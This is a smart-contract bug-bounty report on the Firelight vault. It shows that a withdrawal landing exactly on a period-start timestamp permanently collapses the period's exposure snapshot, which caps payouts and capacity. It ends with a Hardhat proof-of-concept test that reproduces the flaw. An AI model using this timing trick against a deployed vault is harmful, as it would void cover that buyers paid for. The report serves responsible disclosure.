89424 sc high a withdrawal at the exact period boundary permanently collapses the period s exposure snapshot voiding paid for cover and denying capacity
Submitted on Aug 19th 2026 at 08:38:18 UTC by @deltasec for Audit Comp | Firelight
- Report ID: #89424
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-firelight/blob/v1\\_audit\\_ready/contracts/core/FirelightVault.sol
- Impacts:
- Theft of unclaimed yield
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
When the block timestamp coincides with a period start T, every withdrawal landing in that block permanently slashes the amount that can be paid for any incident captured in the period. Three facts make this periodic vulnerability possible:
totalAssetsAt(T)returns whatever was last pushed at keyT—Trace256.pushappends on a new key and overwrites in place on an equal one (Checkpoints.sol:207-209) — and trace keys are monotonic, so once the value at keyTis written down it can never be raised again.- The vault answers two questions inconsistently about the same withdrawal:
_requestWithdrawbooks the withdrawn shares into bucketcurrentPeriod() + 1— the next, still-exposed period (FirelightVault.sol:1008) — while_logTracewrites the reduced total-assets value onto keyTitself (:1055). - Key
Tis precisely the key the rest of the protocol reads as the period's opening capital:payoutreads it ascapturePeriodStart(:911), and the allocator reads it in_computeAvailableCapacity(CoverOrderAllocator.sol:711), which gates every commitment through_validateMatchingCapacity(:400-402).
So the assets are simultaneously exposed (booked into the still-covered bucket, and added back by activePayableAmount at :916 so exposed assets cannot escape by withdrawing first) and absent (erased from the snapshot that caps the claim). The cap is the smaller of the two, so the cap wins.
The consequence is permanent: every incident ever captured in that period is capped at the collapsed value — at the extreme, zero — even though the vault physically holds the assets and its own activePayableAmount proves it could have paid. The same collapsed key also drives capacity, so commitments for the period can be rejected outright.
Vulnerability Details
Root cause — bucket and key disagree at the boundary. contracts/core/FirelightVault.sol:
uint256 period = currentPeriod() + 1; // :1008 -> bucket C+1 = STILL EXPOSED
_traceTotalAssets.push(ts, _totalAssets - assets); // :1055 -> totalAssetsAt(T) DROPS
At t == T the period that opens at T is already currentPeriod(), so the withdrawal books into C + 1 and stays slashable for incidents captured in period C. The matching trace write, however, lands on key T — the key that period C is measured by.
The window is exactly one second. Measured by the PoC below (11,000 in the vault, whale withdraws 10,000, full 11,000 claimed against an incident captured in the period):
offset | booked bucket | vault holds | cap | payable | paid
-1 | C (exited) | 11,000 | 1,000 | 1,000 | 1,000
0 | C+1 (exposed) | 11,000 | 1,000 | 11,000 | 1,000 <- cap != payable
+1 | C+1 (exposed) | 11,000 | 11,000 | 11,000 | 11,000
Offset -1 is self-consistent and correct: the underwriter left before the period opened, so its assets are excluded from the cap and from the payable set. Offset +1 is self-consistent the other way: the assets are in both. Only at offset 0 do the two disagree, and the smaller one — the cap — decides the claim. 10,000 of paid-for cover is voided while the vault holds every token.
Consumers of the collapsed key
| Consumer | Effect | Victim |
|---|---|---|
payout (FirelightVault.sol:911) | the claim cap collapses, and the collapsed key is permanent — trace keys are monotonic, so totalAssetsAt(T) can never be raised again, and every incident ever captured in that period is capped at the collapsed value | cover buyers |
_computeAvailableCapacity (CoverOrderAllocator.sol:711) | the period's opening capital is understated for the rest of the period, lowering sellable capacity | every buyer in the tree |
_validateMatchingCapacity (CoverOrderAllocator.sol:400-402) | reverts with MatchingCapacityOverflow on a commitment that the vault's actual collateral supports | protocol revenue |
Trigger path
- Any share holder calls
withdraw/redeemin the block whose timestamp equals a period startT. _requestWithdrawbooks the shares into bucketC+1— the period that is still exposed (:1008)._logTracepushes_totalAssets - assetsat keyT(:1055,Checkpoints.sol:207-209).totalAssetsAt(T)is now permanently understated. Every incident withcapturePeriodStart == Tis capped at the understated figure for the rest of time, and the allocator's capacity basis for the period is understated for the rest of the period.
Impact Details
- Permanent, irreparable voiding of paid-for cover. Once key
Tis collapsed it can never be raised — trace keys are monotonic — so every incident ever captured in that period is capped at the collapsed value. The PoC shows a 50,000 refill inside the same period leavingtotalAssetsAt(T)at 1,000 and a 51,000 claim still paying 1,000. If the whole vault exits atTthe cap is zero: buyers who paid full premium for the period can never be paid anything, while the vault demonstrably holds the collateral andactivePayableAmountreports it as present. - Understated capacity for the remainder of the period.
_computeAvailableCapacityderives the period's sellable capacity from the same collapsed key, so commitments the real collateral supports revert withMatchingCapacityOverflow— lost underwriting revenue for the period, and at the extreme no capacity at all. - Cost to trigger: one ordinary withdrawal in one specific block. The loss falls on cover buyers and the protocol; no privileged role is involved.
The scope exclusion for "collateral drawdowns reducing coverage capacity" does not apply: this is not a drawdown. The collateral never left the vault, and activePayableAmount proves the vault could have paid.
References
contracts/core/FirelightVault.sol:1008— withdrawal booked into the still-exposed bucketcontracts/core/FirelightVault.sol:1055— trace push at the boundary keycontracts/core/FirelightVault.sol:911,:916— payout cap vsactivePayableAmountcontracts/core/CoverOrderAllocator.sol:711,:400-402— capacity basis and the commitment gateCheckpoints.sol:207-209—Trace256.push: append on a new key, in-place overwrite on an equal key- Tested against commit
42f9ea5, branchv1_audit_ready
Proof of Concept
Proof of Concept
Save as test/poc.js and run npx hardhat test test/poc.js. It uses only the project's own test/setup/fixtures.js; no harness or contract modifications are needed. Both tests pass against the unmodified code.
const { loadFixture, time } = require('@nomicfoundation/hardhat-network-helpers')
const { deployVault } = require('./setup/fixtures.js')
const { expect } = require('chai')
const { ethers } = require('hardhat')
const DAY = 86400, DEC = 6
const U = (x) => ethers.parseUnits(String(x), DEC)
const fmt = (x) => ethers.formatUnits(x, DEC).padStart(9)
// Two underwriters put 11,000 into the vault. The whale (10,000) withdraws `offset`
// seconds away from the period start T. An incident is then captured inside that period
// and a payout of the full 11,000 is requested.
async function atOffset(offset) {
const ctx = await loadFixture(deployVault.bind(null, {
decimals: DEC, period_configuration_duration: 7 * DAY, initial_deposit_limit: U(1000000)
}))
const v = ctx.firelight_vault
const [whale, other] = ctx.users
for (const u of [whale, other]) await ctx.utils.mintAndApprove(U(100000), u)
await v.connect(whale).deposit(U(10000), whale.address)
await v.connect(other).deposit(U(1000), other.address)
const T = Number(await v.currentPeriodEnd()) // the next period start
await time.setNextBlockTimestamp(T + offset)
const rcpt = await (await v.connect(whale).withdraw(U(10000), whale.address, whale.address)).wait()
const bookedBucket = rcpt.logs
.map((l) => { try { return v.interface.parseLog(l) } catch { return null } })
.find((x) => x && x.name === 'WithdrawRequest').args[3]
if (offset < 0) await time.increaseTo(T + 1) // enter the period under test
const periodStart = await v.currentPeriodStart()
const capturePeriod = await v.currentPeriod()
const captureTs = Number(periodStart) + 60
await time.increaseTo(captureTs)
const live = await v.totalAssets()
const r = {
capturePeriod,
bookedBucket,
heldByVault: await ctx.token_contract.balanceOf(v.target), // assets never left
cap: await v.totalAssetsAt(periodStart), // what payout is capped by
// activePayableAmount: live assets + the still-exposed withdrawal bucket
payable: live + (await v.withdrawAssets(capturePeriod + 1n)),
paid: await v.connect(ctx.payout_signer)
.payout.staticCall(ctx.payout_receiver.address, U(11000), captureTs),
}
console.log(` offset ${String(offset).padStart(2)} | bucket ${r.bookedBucket} | held ${fmt(r.heldByVault)}` +
` | cap ${fmt(r.cap)} | payable ${fmt(r.payable)} | paid ${fmt(r.paid)}`)
return r
}
describe('V5 — a boundary withdrawal collapses the period-start exposure snapshot', function () {
this.timeout(600000)
it('the window is exactly one second: cap and payable disagree only at offset 0', async () => {
// offset -1: the whale exits BEFORE the period opens. Its assets are excluded from the
// cap and from the payable set alike -- self-consistent, and the correct outcome.
const before = await atOffset(-1)
expect(before.bookedBucket).to.equal(before.capturePeriod) // not payable for this period
expect(before.cap).to.equal(U(1000))
expect(before.payable).to.equal(U(1000))
expect(before.paid).to.equal(U(1000))
// offset 0: the withdrawal books into capturePeriod + 1, so the assets are STILL exposed
// and activePayableAmount counts them -- but the reduced total lands on key T, which is
// exactly the key the cap is read from. The cap is smaller, so the cap wins.
const at = await atOffset(0)
expect(at.bookedBucket).to.equal(at.capturePeriod + 1n) // still exposed
expect(at.heldByVault).to.equal(U(11000)) // vault physically holds it all
expect(at.payable).to.equal(U(11000)) // ...and knows it can pay it
expect(at.cap).to.equal(U(1000)) // ...but the snapshot says otherwise
expect(at.paid).to.equal(U(1000)) // 10,000 of paid-for cover voided
// offset +1: identical actions one second later, and the claim pays in full.
const after = await atOffset(1)
expect(after.bookedBucket).to.equal(after.capturePeriod + 1n)
expect(after.cap).to.equal(U(11000))
expect(after.payable).to.equal(U(11000))
expect(after.paid).to.equal(U(11000))
})
it('the collapse is permanent: no later deposit can raise key T', async () => {
const ctx = await loadFixture(deployVault.bind(null, {
decimals: DEC, period_configuration_duration: 7 * DAY, initial_deposit_limit: U(1000000)
}))
const v = ctx.firelight_vault
const [whale, other] = ctx.users
for (const u of [whale, other]) await ctx.utils.mintAndApprove(U(100000), u)
await v.connect(whale).deposit(U(10000), whale.address)
await v.connect(other).deposit(U(1000), other.address)
const T = Number(await v.currentPeriodEnd())
await time.setNextBlockTimestamp(T)
await v.connect(whale).withdraw(U(10000), whale.address, whale.address)
expect(await v.totalAssetsAt(T)).to.equal(U(1000))
// Refill the vault far beyond its original balance, inside the same period.
await time.increaseTo(T + 600)
await v.connect(other).deposit(U(50000), other.address)
expect(await v.totalAssets()).to.equal(U(51000))
// Trace keys are monotonic, so key T can never be revised upward again.
expect(await v.totalAssetsAt(T)).to.equal(U(1000))
// Every incident captured in this period is capped at the collapsed value, for all time.
const captureTs = T + 900
await time.increaseTo(captureTs)
expect(
await v.connect(ctx.payout_signer)
.payout.staticCall(ctx.payout_receiver.address, U(51000), captureTs)
).to.equal(U(1000))
})
})